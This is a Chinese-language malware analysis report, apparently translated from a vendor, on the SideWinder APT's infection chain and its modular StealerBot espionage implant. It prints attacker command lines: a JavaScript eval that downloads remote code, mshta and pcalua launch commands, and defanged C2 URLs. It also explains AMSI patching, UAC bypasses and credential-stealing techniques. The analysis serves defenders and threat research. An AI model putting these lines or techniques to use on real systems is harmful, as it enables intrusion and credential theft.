南亚

印度APT组织SideWinder 的演变和扩张

SideWinder,又名 T-APT-04 或 RattleSnake,是活动最为频繁的 APT 组织之一,于 2012 年开始活动,并于 2018 年首次被我们公开提及。多年来,该组织对南亚和东南亚的知名实体发动了攻击。其主要目标是巴基斯坦、斯里兰卡、中国和尼泊尔的军事和政府实体。

多年来,SideWinder 发动了令人印象深刻的多次攻击,其活动已在不同研究人员和供应商发布的各种分析和报告中得到详细描述(例如,这里这里这里),其中最新的一份报告于 2024 年 7 月底发布。由于使用公开漏洞、恶意 LNK 文件和脚本作为感染媒介以及使用公开 RAT,该组织可能被视为低技能行为者,但只有仔细检查其操作的细节时,他们的真正能力才会显现出来。

尽管经过多年的观察和研究,对于他们受害后的活动的了解仍然有限。

在我们的调查过程中,我们观察到新一轮攻击,表明该组织的活动范围显著扩大。这些攻击开始影响中东和非洲的知名实体和战略基础设施,我们还发现了一种之前未知的后开发工具包“StealerBot”,这是一种专为间谍活动设计的高级模块化植入物,我们目前认为它是 SideWinder 用于目标的主要后开发工具。

[SideWinder 的最新活动架构

SideWinder 的最新活动架构

感染媒介

SideWinder 攻击链通常以带有附件的鱼叉式网络钓鱼电子邮件开始,附件通常是 Microsoft OOXML 文档(DOCX 或 XLSX)或 ZIP 存档,其中包含恶意 LNK 文件。文档或 LNK 文件通过各种 JavaScript 和 .NET 下载程序启动多阶段感染链,最后安装 StealerBot 间谍工具。

这些文件通常包含从公共网站获取的信息,用于诱使受害者打开文件并相信它是合法的。例如,图片中的文件包含从以下网址下载的数据:https://nasc.org.np/news/closing-ceremony-training-program-financial-management-and-audit-officials-nepal-oil

[My%20Note/10%20APT/2%20APT%E6%94%B6%E9%9B%86/%E5%8D%97%E4%BA%9A/_resources/%E5%8D%B0%E5%BA%A6APT%E7%BB%84%E7%BB%87SideWinder%20%E7%9A%84%E6%BC%94%E5%8F%98%E5%92%8C%E6%89%A9%E5%BC%A0/219484b85d6e6e8053cdeda2a767a6a9_MD5.png

文件 71F11A359243F382779E209687496EE2 的片段,“尼泊尔石油公司 (NOC).docx”

该文件的内容是专门针对目标选择的,并根据目标的国家而改变。

[My%20Note/10%20APT/2%20APT%E6%94%B6%E9%9B%86/%E5%8D%97%E4%BA%9A/_resources/%E5%8D%B0%E5%BA%A6APT%E7%BB%84%E7%BB%87SideWinder%20%E7%9A%84%E6%BC%94%E5%8F%98%E5%92%8C%E6%89%A9%E5%BC%A0/73cf5c5733a58cd6a3599cd786ec6a97_MD5.png

所有文档都使用远程模板注入技术下载存储在攻击者控制的远程服务器上的 RTF 文件。

[My%20Note/10%20APT/2%20APT%E6%94%B6%E9%9B%86/%E5%8D%97%E4%BA%9A/_resources/%E5%8D%B0%E5%BA%A6APT%E7%BB%84%E7%BB%87SideWinder%20%E7%9A%84%E6%BC%94%E5%8F%98%E5%92%8C%E6%89%A9%E5%BC%A0/61200913a4aa507b2c11f0b1e09c6172_MD5.png

RTF 漏洞

RTF 文件是攻击者专门制作的,以利用 Microsoft Office 软件中的内存损坏漏洞 CVE-2017-11882。

攻击者嵌入了 shellcode,旨在使用“mshtml.dll”Windows 库中的“RunHTMLApplication”函数执行 JavaScript 代码。

shellcode 使用不同的技巧来避开沙箱并使分析变得复杂。

  • 它使用 GlobalMemoryStatusEx 来确定 RAM 内存的大小。如果大小小于 2GB,它将终止执行。
  • 它使用 CPUID 指令获取处理器制造商的信息。如果 CPU 不是来自 Intel 或 AMD,它将终止执行。
  • 它会尝试加载“dotnetlogger32.dll”库。如果该文件存在于系统中,它会终止执行。

该恶意软件使用不同的字符串来加载执行所需的库和函数。这些字符串被截断,并通过修补字节在运行时添加缺失的部分。这些字符串还混入代码中,代码经过调整以在执行期间跳过它们并跳转到有效指令,从而使分析更加困难。

这些字符串作为参数传递给执行与“GetProcAddress”相同操作的函数:它获取导出函数的地址。为此,它接收两个参数:导出函数的库的基址和导出函数的名称。

第一个参数通过标准 push 指令传递,该指令将库地址加载到堆栈。​​第二个参数使用 CALL 指令间接传递。

[传递必要的参数

传递必要的参数

然后使用加载的函数执行以下操作:

  1. 加载“mshtml.dll”库并获取指向“RunHTMLApplication”函数的指针。
  2. 使用“GetCommandLineW”函数获取指向当前命令行的指针。
  3. 解密嵌入在 shellcode 中的用 JavaScript 编写的脚本,并使用“0x12”作为密钥进行 XOR 编码。
  4. 使用解码后的 JavaScript 覆盖当前进程命令行。
  5. 调用“RunHTMLApplication”函数,该函数将执行进程命令行中指定的代码。

加载的 JavaScript 从远程网站下载并执行额外的脚本代码。

1<br><br>2<br><br>3 javascript:eval("v=ActiveXObject;x=new v("WinHttp.WinHttpRequest.5.1");x.open("GET",<br><br>"hxxps://mofa-gov-<br><br>sa.direct888[.]net/015094_consulategz",false);x.Send();eval(x.ResponseText);window.close()")

初始感染 LNK

在调查过程中,我们还观察到另一种感染媒介,它通过一封附有 ZIP 文件的鱼叉式网络钓鱼电子邮件传播。ZIP 压缩包中的名称旨在诱骗受害者打开文件。攻击者经常使用与重要事件有关的名称,例如朝觐,即每年前往麦加的伊斯兰朝圣活动。

[My%20Note/10%20APT/2%20APT%E6%94%B6%E9%9B%86/%E5%8D%97%E4%BA%9A/_resources/%E5%8D%B0%E5%BA%A6APT%E7%BB%84%E7%BB%87SideWinder%20%E7%9A%84%E6%BC%94%E5%8F%98%E5%92%8C%E6%89%A9%E5%BC%A0/3698899136ecca15118bcc78a9083c85_MD5.png

档案通常包含与档案同名的 LNK 文件。例如:

ZIP 文件名 LNK 文件名
moavineen-e-hujjaj hajj-2024.zip MOAVINEEN-E-HUJJAJ HAJJ-2024.docx.lnk
NIMA 邀请函.zip NIMA 邀请函.doc.lnk
特使在NCA的演讲.zip 特使在 NCA 的演讲.jpg .lnk
දින සංශෝධන කර ගැනිම.zip(修改日期) දින සංශෝධන කර ගැනිම.lnk
录取通知书.zip 录取通知书.docx.lnk

LNK 文件指向“mshta.exe”实用程序,用于执行攻击者控制的恶意网站上托管的 JavaScript 代码。

以下是从其中一个 LNK 文件中提取的配置值:

1<br><br>2<br><br>3<br><br>4<br><br>5<br><br>6<br><br>7<br><br>8 Local Base Path : C:\Windows\System32\sshtw.png<br><br>Description : MOAVINEEN-E-HUJJAJ HAJJ-2024.docx<br><br>Relative Path : ......\Windows\System32\calca.exe<br><br>Link Target: C:\Windows\System32\mshta.exe<br><br>Working Directory : C:\Windows\System32<br><br>Command Line Arguments : "hxxps://mora.healththebest[.]com/8eee4f/mora/hta?q=0"<br><br>Icon File Name : %systemroot%\System32\moricons.dll<br><br>Machine ID : desktop-84bs21b

下载器模块

RTF 漏洞和 LNK 文件执行的是相同的 JavaScript 恶意软件。此脚本解码以 base64 编码字符串形式存储的嵌入式有效负载。该有效负载是一个名为“App.dll”的 .NET 库,然后由脚本调用。

[JavaScript 加载器(已美化)

JavaScript 加载器(已美化)

App.dll 是一个简单的下载程序或投放器,配置为从 JavaScript 作为参数传递的远程 URL 检索另一个 .NET 有效负载,或解码并执行作为参数传递的另一个有效负载。

该库应通过调用“Programs.Work()”方法来执行,该方法可以接收三个参数作为输入。我们将输入命名为:

争论 参数描述
C2_URL 可选参数,可用于传递用于下载远程有效负载的 URL。
Payload_filename 可选参数可与“Payload_Data”参数一起使用,在本地文件系统上创建一个包含投放的有效载荷的文件。
Payload_data 可选参数,可用于传递应放置在本地文件系统上的编码有效负载。

App.dll 首先收集有关已安装的端点安全产品的信息。特别是,Avast 和 AVG 解决方案是该恶意软件感兴趣的。收集的数据将发送到 C2。然后,如果“Payload_data”参数不是“Null”,它会使用 base64 和 Gzip 解码和解压缩数据。生成的有效负载使用“Payload_filename”参数中指定的文件名存储在用户的 Temp 目录中。

如果安装了 Avast 或 AVG 解决方案,则使用以下命令执行投放文件的内容:

1<br><br>2<br><br>3 mshta.exe "javascript:WshShell = new<br><br>ActiveXObject("WScript.Shell");WshShell.Run("%TEMP%%Payload_filename%", 1,<br><br>false);window.close()

否则,将使用以下命令执行:

1 pcalua.exe -a %TEMP%%Payload_filename%

如果攻击者提供了 C2_URL,恶意软件会尝试从指定的远程 URL 下载另一个 payload。使用收到的 payload 的前 32 个字节作为密钥,通过 XOR 算法对获取的数据进行解码。

生成的文件应该是名为“ModuleInstaller.dll”的.NET恶意软件。

模块安装程序

ModuleInstaller 恶意软件是一种下载器,用于部署木马,以在受感染的机器上立足,我们将该恶意组件称为“后门加载器模块”。自 2020 年以来,我们一直在观察这个特定的组件,但之前我们只在私人情报报告中对其进行了描述。

ModuleInstaller 旨在释放至少四个文件:一个用于侧载恶意库的合法且已签名的应用程序、一个嵌入在程序中作为资源的 .config 清单(下一阶段需要它来正确加载其他模块)、一个恶意库和一个加密的有效负载。我们观察到释放的文件有多种组合,最常见的组合如下:

1<br><br>2<br><br>3<br><br>4<br><br>5<br><br>6<br><br>7 %Malware Directory%\vssvc.exe<br><br>%Malware Directory%%encryptedfile%<br><br>%Malware Directory%\vsstrace.dll<br><br>%Malware Directory%\vssvc.exe.config

或者

1<br><br>2<br><br>3<br><br>4<br><br>5<br><br>6<br><br>7 %Malware Directory%\WorkFolders.exe<br><br>%Malware Directory%%encryptedfile%<br><br>%Malware Directory%\propsys.dll<br><br>%Malware Directory%\WorkFolders.exe.config

ModuleInstaller 嵌入以下资源:

Resource name MD5 Description
Interop_TaskScheduler_x64 95a49406abce52a25f0761f92166c18a Interop.TaskScheduler.dll for 64-bit systems used to create Windows Scheduled Tasks
Interop_TaskScheduler_x86 dfe750747517747afa2cee76f2a0f8e4 Interop.TaskScheduler.dll for 32-bit systems used to create Windows Scheduled Tasks
manifest d3136d7151f60ec41a370f4743c2983b XML manifest dropped as .config file
PeLauncher 22e3a5970ae84c5f68b98f3b19dd980b .NET program not used in the code
shellcode 32fc462f80b44013caeada725db5a2d1 Shellcode used to load libraries, which exports a function named “Start”
StealerBot_CppInstaller a107f27e7e9bac7c38e7778d661b78ac C++ library used to download two malicious libraries and create persistence points

下载器配置为接收 URL 作为输入,并对其进行解析以从变量中提取特定值。然后将检索到的值与似乎是知名端点安全解决方案的子字符串的字符串值列表进行比较:

Pattern Endpoint Security Solution
q=apn Unknown
aspers Kaspersky
Afree McAfee (misspelled)
avast Avast
avg AVG
orton Norton
360 360 Total Security
avir Avira

ModuleInstaller 支持六种感染例程,它们在执行“后门加载器模块”或下载组件的技术上有所不同,但在主要逻辑上却有相似之处。其中一些例程还包括删除证据的技巧,而其他则没有。该恶意软件仅运行根据作为参数接收的值和嵌入在代码中的内部配置的值选择的一个特定例程。

常规 状况
感染程序 1 当检测到子字符串“q=apn”时执行。
感染程序 2 当内部配置的特定字节等于“1”时执行。
感染程序 3 当检测到子字符串“360”时执行。
感染程序 4 当检测到子字符串“avast”或“avir”时执行。
感染程序 5 当检测到子字符串“aspers”或“Afree”时执行
感染程序 6 默认情况。当所有其他条件都不满足时执行。

所有例程都会收集有关受感染系统的信息。具体来说,它们会收集:

  • 当前用户名;
  • 处理器名称和核心数量;
  • 物理磁盘名称和大小;
  • TotalVirtualMemorySize 和 TotalVisibleMemorySize 属性的值;
  • 当前主机名;
  • 本地 IP 地址;
  • 已安装的操作系统;
  • 建筑学。

然后将收集的数据以 base64 进行编码,并与代码中嵌入的 C2 URL 连接起来,位于名为“data”的变量内。

1 hxxps://dynamic.nactagovpk[.]org/735e3a_download?data=<stoleninfo>

该恶意软件的代码中嵌入了多个 C2 URL,所有这些 URL 都使用自定义字母表进行 base64 编码:

1<br><br>2<br><br>3<br><br>4 C2_URL_1 = hxxps://dynamic.nactagovpk[.]org/735e3a_download<br><br>C2_URL_2 = hxxps://dynamic.nactagovpk[.]org/0df7b2_download<br><br>C2_URL_3 = hxxps://dynamic.nactagovpk[.]org/27419a_download<br><br>C2_URL_4 = hxxps://dynamic.nactagovpk[.]org/ef1c4f_download

恶意软件将收集到的信息发送到根据特定感染程序选择的其中一个 C2 服务器。服务器响应应该是具有各种配置值的有效负载。

值集可能因感染例程而异。恶意软件解析收到的值并将其分配给局部变量。在大多数情况下,无法从恶意软件代码中获取变量名称。然而,在一个特定的感染例程中,攻击者使用了调试字符串,使我们能够获取大多数这些名称。下表包含可能的配置值的完整列表。

Variable name Description
MALWARE_DIRECTORY Directory path where all the malicious files are stored.
LOAD_DLL_URL_X64 URL used to download the malicious library for 64-bit systems.
LOAD_DLL_URL_X86 URL used to download the malicious library for 32-bit systems.
LOAD_DLL_URL URL used to download the malicious library. Some infection routines do not check the architecture.
APP_DLL_URL URL used to download the encrypted payload.
HIJACK_EXE_URL URL used to download the legitimate application used to sideload the malicious library.
RUN_KEY Name of the Windows Registry value that will be created to maintain persistence.
HIJACK_EXE_NAME Name of the legitimate application.
LOAD_DLL_NAME Name of the malicious library.
MOD_LOAD_DLL_URL URL used to download an unknown library that is saved in the MALWARE_DIRECTORY as “IPHelper.dll”.
有效载荷经过两次异或运算。密钥是有效载荷开头的前 32 个字节。

在执行过程中,恶意软件通过向 C2 发送 GET 请求来记录当前的感染状态。所分析的样本为此使用了 C2_URL_4。该请求至少包含一个名为“data”的变量,其值表示感染状态。

Variable Description
?data=1 Downloads completed.
?data=2 Persistence point created.
?data=3&m=str Error. It also contains a variable “m” with information about the error.
?data=4 Infection completed, but the next stage is not running.
?data=5 Infection completed and the next stage is running.

用于维持持久性的技术根据恶意软件选择的感染例程而有所不同,但通常依赖于在 HKCU Run 键下创建新的注册表值或创建 Windows 计划任务。

例如:

1<br><br>2<br><br>3 RegKey: HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run<br><br>RegValue: xcschemer (MALWARE_DIRECTORY)<br><br>RegValueData: %AppData%\xcschemer\vssvc.exe (HIJACK_EXE_PATH)

后门加载模块

上一段中描述的感染方案会导致安装使用合法数字签名应用程序侧载的恶意库。该库充当加载器,检索 ModuleInstaller 投放的加密负载,对其进行解密并将其加载到内存中。

Backdoor 加载器模块自 2020 年以来就已被观察到,我们在私人 APT 报告中对其进行了介绍。多年来,它几乎保持不变。它最近被攻击者更新,但主要区别在于旧变体配置为使用嵌入在程序中的特定文件名加载加密文件,而最新变体旨在枚举当前目录中的所有文件并加载没有扩展名的文件。

该库通常使用控制流扁平化技术进行高度混淆。此外,字符串、方法名称和资源名称都被随机修改为长字符串,这使得解码后的代码难以分析。此外,一些相关字符串存储在程序中嵌入的资源内,并使用 XOR 层和三重 DES 加密。

该恶意软件还包含反沙盒技术。它获取当前日期和时间,并使线程休眠 100 秒。沙盒通常会忽略休眠功能,因为恶意软件经常使用它们来产生较长的执行延迟并避免被检测到。唤醒后,恶意软件会再次检索当前时间和日期,并检查经过的时间是否少于 90.5 秒。如果条件为真,它会终止执行。

该恶意软件还试图通过修补“amsi.dll”(Windows 反恶意软件扫描接口)中的 AmsiScanBuffer 函数来避免被检测到。具体来说,它会加载“amsi.dll”库并解析导出目录以查找“AmsiScanBuffer”函数。在此函数中,它会更改内存保护标志,以修改 RVA 0x337D 处的指令,使其始终返回错误代码 0x80070057(E_INVALIDARG - 无效参数)。此更改强制“Amsi”保护始终返回等于 0 的扫描结果,这通常被解释为 AMSI_RESULT_CLEAN。

修补前的 AmsiScanBuffer

修补前的 AmsiScanBuffer

[修补后的 AmsiScanBuffer

修补后的 AmsiScanBuffer

修补后的代码只有一个字节大小:恶意软件将 0x74(对应于 JZ(为零时跳转)指令)更改为 0x75(对应于 JNZ(不为零时跳转)指令)。当作为 AmsiScanBuffer 函数输入的缓冲区无效时,应进行跳转。修改后,将对所有有效缓冲区进行跳转。

修补 AmsiScanBuffer 后,恶意软件会执行启动操作以实现其主要目标,即从加密文件中加载另一个有效负载。首先,它枚举当前目录中的文件,并尝试查找文件名中不带字符“。”的文件(即没有扩展名)。然后,如果找到该文件,它会使用文件开头的前 16 个字节作为密钥,并使用 XOR 算法解码其余数据。最后,它将数据作为 .NET 程序集加载并调用“Program.ctor”方法。

窃取者机器人

StealerBot 是攻击者为使用 .NET 开发的用于执行间谍活动的模块化植入程序指定的名称。我们从未在文件系统上观察到任何植入程序组件。它们由 Backdoor 加载程序模块加载到内存中。在加载之前,二进制文件存储在加密文件中。

植入程序由主“Orchestrator”加载的不同模块组成,主“Orchestrator”负责与 C2 通信并执行和管理插件。在调查过程中,我们发现了几个上传到受感染受害者的插件,这些插件用于:

  • 安装额外的恶意软件;
  • 截取屏幕截图;
  • 记录击键;
  • 从浏览器窃取密码;
  • 拦截 RDP 凭证;
  • 窃取文件;
  • 启动反向shell;
  • 网络钓鱼 Windows 凭证;
  • 绕过 UAC 提升权限。

模块 ID 包含在模块和加密配置文件中。Orchestrator 使用它们来管理组件。它与模块共享消息/命令,并可以处理特定消息以终止或删除具有特定 ID 的模块。

模块 ID 描述
0xca 键盘记录器
0xcb 实时控制台
0xd0 截图工具
0xd4 文件窃取者
0xd6 UAC 绕过
0xe0 RDP 凭证窃取程序
0xe1 令牌抓取器
?? 凭证网络钓鱼者

StealerBot 协调器

Orchestrator 通常由 Backdoor 加载器模块加载,负责与 C2 服务器通信,执行和管理插件。它会定期连接到两个 URL,下载攻击者提供的模块并上传包含窃取信息的文件。它还会与已加载的模块交换消息,这些消息可用于提供或修改配置属性以及从内存中卸载特定组件。

一旦加载到内存中,恶意软件就会解码 Orchestrator 中嵌入的名为“Default”的资源。该资源包含具有以下结构的配置文件:

Parameter Parameter type Description
Config path String Location used to store the configuration file after first execution
Data directory String Directory where the plugins store the output files that will be uploaded to the remote C2
C2 Modules String URL used to communicate with C2 server and retrieve additional plugins
C2 Gateway String URL used to upload files generated by modules
C2 Modules Sleeptime Integer Sleep time between communications with “C2 Modules”
C2 Gateway Sleeptime Integer Sleep time between communications with “C2 Gateway”
RSA_Key String RSA key used to encrypt communication with the C2 server
Number of plugins Integer Number of plugins embedded in the configuration
Modules Array Array which contains the modules

配置可以嵌入多个模块。默认情况下,数组通常为空,但在初始执行后,恶意软件会在本地文件中创建配置的副本,并使用从 C2 服务器检索到的信息对其进行更新。

解析配置后,恶意软件会加载文件中指定的所有模块。然后它会启动两个线程与远程 C2 服务器通信。第一个线程用于与我们称为“C2 模块”的第一个 URL 进行通信,该 URL 用于获取新模块。第二个线程用于与我们称为“C2 网关”的 URL 进行通信,该 URL 用于上传模块生成的数据。

该恶意软件使用 GET 请求与 C2 模块服务器通信。在发送请求之前,它会添加一个“x”值,其中包含代理已加载的模块列表。

1 &x[moduleId_1,moduleId_2,moduleId_3,etc.]"

服务器响应一条由两部分组成的消息,即标头和有效负载。每个部分都有特定的结构,包含不同的信息:

消息结构

消息结构

每条消息都使用服务器端攻击者拥有的 RSA 私钥进行数字签名,签名存储在“rgbSignature”值中。Orchestrator 使用“RSACryptoServiceProvider.VerifyHash”方法来验证提供的数字签名是否有效。

标头使用与编码或解码配置文件相同的 XOR 算法进行编码。有效载荷使用 Gzip 压缩并使用 AES 加密。标头包含识别模块、解密有效载荷和验证收到的数据所需的信息。

加载模块时,Orchestrator 会调用模块主方法,传递两个参数:模块 ID 和管道句柄。管道用于维护模块和 Orchestrator 之间的通信。

模块可以向 Orchestrator 发送各种消息以获取或修改配置、发送日志消息以及终止模块执行。这些消息的功能类似于命令,具有特定 ID,并且可以包含参数。

消息的第一个字节是其 ID,它定义请求类型:

消息 ID 描述
0 获取设置: Orchestrator 创建当前配置的副本并将其发送给模块。
1 **更新配置:**模块提供新的配置,Orchestrator 更新当前配置值并将其存储在本地文件中。
2 卸载当前模块: Orchestrator 应该从内存中卸载当前模块并关闭相关管道。
3 按 ID 卸载模块: Orchestrator 应卸载收到的请求中指定的 ID 的模块。
4 删除启动: Orchestrator 应从本地配置中删除一个模块。模块 ID 在收到的请求中指定。
5 从配置中删除当前模块: Orchestrator 应该从本地配置中删除当前模块 ID。
6 终止当前线程: Orchestrator 停止计时器、管道并从当前模块列表中删除当前模块。
7 保存日志消息: Orchestrator 使用当前模块 ID 保存日志消息。
8 保存日志消息: Orchestrator 使用指定的模块 ID 保存日志消息。
9 获取输出文件夹配置。
10 获取 C2 模块 URL: Orchestrator 与模块共享当前的 C2 模块 URL。
11 获取 C2 网关 URL: Orchestrator 与模块共享当前的 C2 网关 URL。
12 获取RSA_Key公钥。

模块

键盘记录器

该模块使用“user32.dll”库中指定的“SetWindowsHookEx”函数来安装挂钩程序并监视低级键盘和鼠标输入事件。恶意软件可以记录击键、鼠标事件、Windows 剪贴板内容以及当前活动窗口的标题。

截图工具

该模块定期抓取主屏幕的屏幕截图。

文件窃取者

File Stealer 模块会从特定目录收集文件。它还会扫描可移动驱动器以窃取具有特定扩展名的文件。默认情况下,扩展名列表如下:

1 .ppk,.doc,.docx,.xls,.xlsx,.ppt,.zip,.pdf

根据这些值,我们可以得出结论,该工具是通过收集通常包含敏感信息的文件(例如 Microsoft Office 文档)来执行间谍活动的。它还会搜索 PPK 文件,这是 PuTTY 创建的用于存储私钥的文件的扩展名。PuTTY 是 Windows 操作系统上常用于访问远程系统的 SSH 和 Telnet 客户端。

被盗数据还包括有关本地驱动器和文件属性的信息。

[包含文件窃取器模块收集的信息列表的代码片段

包含文件窃取器模块收集的信息列表的代码片段

实时控制台

此库配置为在受感染的系统上执行任意命令。它可以用作被动后门,监听环回接口,或用作反向 shell,连接到 C2 以接收命令。该库还可以处理提供以下功能的自定义命令:

  • 终止模块本身或其子进程;
  • 下载其他文件到受感染的系统;
  • 添加 Windows Defender 排除项;
  • 感染本地系统上的其他用户(需要高权限);
  • 下载并执行远程 HTML 应用程序;
  • 加载任意模块并扩展恶意软件功能。

与其他模块不同,Live Console 直接与 C2 通信,其地址嵌入在模块代码中。默认情况下,恶意软件会启动一个新的“cmd.exe”进程,将从攻击者处收到的数据转发到其标准输入,并将进程输出或错误管道转发给攻击者。

如果受感染的操作系统是较新的,即 Windows 10 版本大于或等于“17763”,则恶意软件会创建一个伪控制台来启动“cmd.exe”。否则,它会使用“System.Diagnostics”中指定的“Process”类启动相同的应用程序。

在将命令转发到控制台之前,恶意软件会检查收到的数据的第一个字节是否具有指示自定义命令存在的特定值。下面是这些值(命令 ID)的列表以及它们识别的命令的描述。

Windows 构建 命令ID 描述
<  17763 3 终止所有子进程
<  17763 4 终止当前模块。向 Orchestrator 发送消息 ID“2”以卸载模块本身。
<  17763 16 将文件上传到受感染的系统
>=  17763 1 感染当前登录用户
>=  17763 2 获取当前登录用户
>=  17763 3 下载并执行远程 HTML 应用程序
>=  17763 4 将目录添加到 AV 排除项
>=  17763 5 加载插件

大多数命令都是不言自明的。我们想对 ID 为“1”的命令添加一些说明,该命令用于感染同一系统上配置文件仍为“干净”的其他用户。恶意软件通过在目标用户的目录中创建样本副本来感染用户,并创建新的注册表值以确保持久性。

这个命令很有趣,因为在出​​现特定错误的情况下,机器人会回复以下消息:

1<br><br>2 Infected User is already logged in, use install dynx command from stealer bot<br><br>for installation

目前,我们不知道 dynx 命令代表什么,但此消息中的名称“stealer bot”以及“ModuleInstaller”中嵌入的资源名称“StealerBot_CppInstaller”使我们得出结论,攻击者将此恶意软件命名为 StealerBot。

RDP 凭证窃取程序

该模块由不同的组件组成:.NET 库、shellcode 和 C++ 库。它监视正在运行的进程并将恶意代码注入“mstsc.exe”以窃取 RDP 凭据。

[mstsc 图形用户界面

mstsc 图形用户界面

Mstsc.exe 是“Microsoft 终端服务客户端”进程,是 Windows 上的默认 RDP 客户端。该恶意软件会监视名为“mstsc.exe”的进程的创建或终止。当检测到新的创建事件时,恶意软件会创建一个静态名称为“c63hh148d7c9437caa0f5850256ad32c”的新管道,并将恶意代码注入新进程内存。

注入的代码由不同的有效载荷组成,这些有效载荷作为资源嵌入到模块中。根据系统架构在运行时选择有效载荷,并在注入前合并。注入的代码是一个 shellcode,它加载另一个名为“mscorlib”的恶意库,该库用 C++ 编写,通过挂接 Windows 库“SspiCli.dll”的特定函数来窃取 RDP 凭据。库代码似乎基于 GitHub 上提供的开源项目。它使用 Microsoft Detours 包来添加或删除以下函数的钩子:

  • SspiPrepareForCredRead;
  • 加密保护内存;
  • CredIsMarshaledCredentialW。

钩住这三个函数分别获取服务器名称、密码和用户名,窃取的数据通过之前创建的名为“c63hh148d7c9437caa0f5850256ad32c”的管道发送到主模块。

[My%20Note/10%20APT/2%20APT%E6%94%B6%E9%9B%86/%E5%8D%97%E4%BA%9A/_resources/%E5%8D%B0%E5%BA%A6APT%E7%BB%84%E7%BB%87SideWinder%20%E7%9A%84%E6%BC%94%E5%8F%98%E5%92%8C%E6%89%A9%E5%BC%A0/4636a95e57b37d9da9339b8ab5c178a8_MD5.png

令牌抓取器

该模块是一个 .NET 库,旨在窃取 Google Chrome 浏览器 cookie 以及与 Facebook、LinkedIn 和 Google 服务(Gmail、Google Drive 等)相关的身份验证令牌。它具有许多代码依赖项,并通过加载其功能使用的其他合法且已签名的库来启动。默认情况下,这些库不存在于受感染的系统中,因此恶意软件必须删除并加载它们才能正常运行。

图书馆 哈希 描述
Newtonsoft.Json 52a7a3100310400e4655fb6cf204f024 适用于 .NET 的流行高性能 JSON 框架
系统.数据.SQLite fcb2bc2caf7456cd9c2ffab633c1aa0b SQLite 的 ADO.NET 提供程序
SQLite_Interop_x64.dll 1b0114d4720af20f225e2fbd653cd296 System.Data.SQLite 正常运行所需的 64 位架构库
SQLite 互操作性 f72f57aa894f7efbef7574a9e853406d System.Data.SQLite 正常运行所需的 32 位架构库

凭证网络钓鱼者

该模块尝试通过显示旨在欺骗受害者的网络钓鱼提示来获取用户的 Windows 凭据。

[钓鱼提示

钓鱼提示

与 RDP 凭据窃取程序类似,该恶意软件会创建一个新管道(“a21hg56ue2c2365cba1g9840256ad31c”),并将恶意 shellcode 注入目标进程(本例中为“explorer.exe”)。shellcode 会加载一个名为“credsphisher.dll”的恶意库,该库使用 Windows 函数“CredUIPromptForWindowsCredentialsW”向当前用户显示网络钓鱼提示,并诱骗受害者输入其 Windows 凭据。

当用户输入凭证时,恶意软件会使用“LogonUserW”函数检查提供的用户名和密码是否正确。如果用户输入的凭证不正确,恶意软件将继续显示提示,直到收到有效的密码。最后,在凭证验证成功后,恶意软件会将计算机主机名、用户名和密码写入之前创建的名为“a21hg56ue2c2365cba1g9840256ad31c”的管道。

UAC 绕过

该模块是一个.NET库,旨在绕过UAC并以高权限运行恶意代码。

该库可以使用不同的绕过技术来实现其目标,这些技术根据受感染计算机上安装的 Windows 版本和安全解决方案进行选择。该恶意软件嵌入了各种资源,其中包含恶意软件执行期间使用的不同有效载荷。

图书馆 哈希 描述
COMUac旁路 7f357621ba88a2a52b8146492364b6e0 用于绕过 UAC 滥用 IElevatedFactoryServer COM 对象的库
显现 d3136d7151f60ec41a370f4743c2983b XML 清单
模块 b0f0c29f4143605d5f958eba664cc295 用于下载其他恶意软件的恶意库
反射式DLL加载器 f492b2d5431985078b85c78661e20c09 Shellcode 在内存中运行库
虚拟机计算代理 ba2914b59c7ae08c346fc5a984dcc219 用于Slui UAC绕过技术的程序
虚拟机计算代理 d3136d7151f60ec41a370f4743c2983b XML 清单

在开始执行之前,恶意软件会检查系统上的某些条件,即 UAC 提升不需要管理员凭据,并且受感染的用户属于“管理员”组。如果满足这两个条件,恶意软件会检查 Windows 版本并根据获得的值删除一些工件。

Windows Server 或 Windows NT 6
%Temp%%临时文件% 名为“Module”的资源副本
%localappdata%\Microsoft\rundll32.exe 合法程序“%systemroot%\System32\rundll32.exe”的副本
%localappdata%\Microsoft\rundll32.exe.config 名为“manifest”的资源副本
其他 Windows 版本
%localappdata%\Microsoft\devobj.dll 名为“Module”的资源副本
%localappdata%\Microsoft\rdpclip.exe 合法程序“%systemroot%\System32\rdpclip.exe”的副本

该组件的主要目标是以高权限执行名为“Module”的资源,这是一个下载程序。恶意软件会尝试使用不同的 UAC 绕过技术,这些技术根据安装的安全解决方案进行选择。默认情况下,它会尝试滥用 CMSTP(Windows 连接管理器配置文件安装程序)程序。这个合法程序被一种在 2017 年发现的技术滥用,攻击者可以传递自定义配置文件以高权限执行任意命令。除了受卡巴斯基或 360 Total Security 保护的系统外,所有系统都使用默认绕过技术。

如果检测到这些安全解决方案,恶意软件就会尝试使用2022 年发现的较新的 UAC 绕过技术,该技术滥用“IElevatedFactoryServer”COM 对象。

在这种情况下,恶意软件将恶意 shellcode 注入“explorer.exe”。shellcode 加载并执行存储在名为“COMUacBypass”的资源中的恶意库。该库使用“IElevatedFactoryServer”COM 对象注册具有最高权限的新 Windows 任务,允许攻击者执行命令以提升权限运行投放的有效负载。

在对“UACBypass”模块进行静态分析时,我们注意到存在未调用或未执行的代码。具体来说,我们注意到一种名为“KasperskyUACBypass”的方法,该方法实现了另一种绕过技术,该技术可能在过去系统受卡巴斯基反恶意软件保护时使用过。该方法实现了一种滥用合法 Windows 程序 slui.exe 的绕过技术。它用于使用有效的产品密钥激活和注册操作系统,但容易受到文件处理程序劫持的弱点。劫持技术在 2020 年被描述,基于对特定 Windows 注册表项的修改。根据创建的值,我们认为攻击者的代码是基于 GitHub 上的概念证明。

该模块仍然包含两个仅由该代码使用的资源:

1<br><br>2 VmComputeAgent<br><br>VmComputeAgent_exe

第一个是一个非常简单的程序,用ConfuserEx打包,它以管理员身份启动一个新进程:“%systemroot%\System32\slui.exe”。

第二个是 XML 清单。

下载器

该库是一个用 C++ 开发的下载器,它尝试使用不同的 URL 检索三个有效负载。

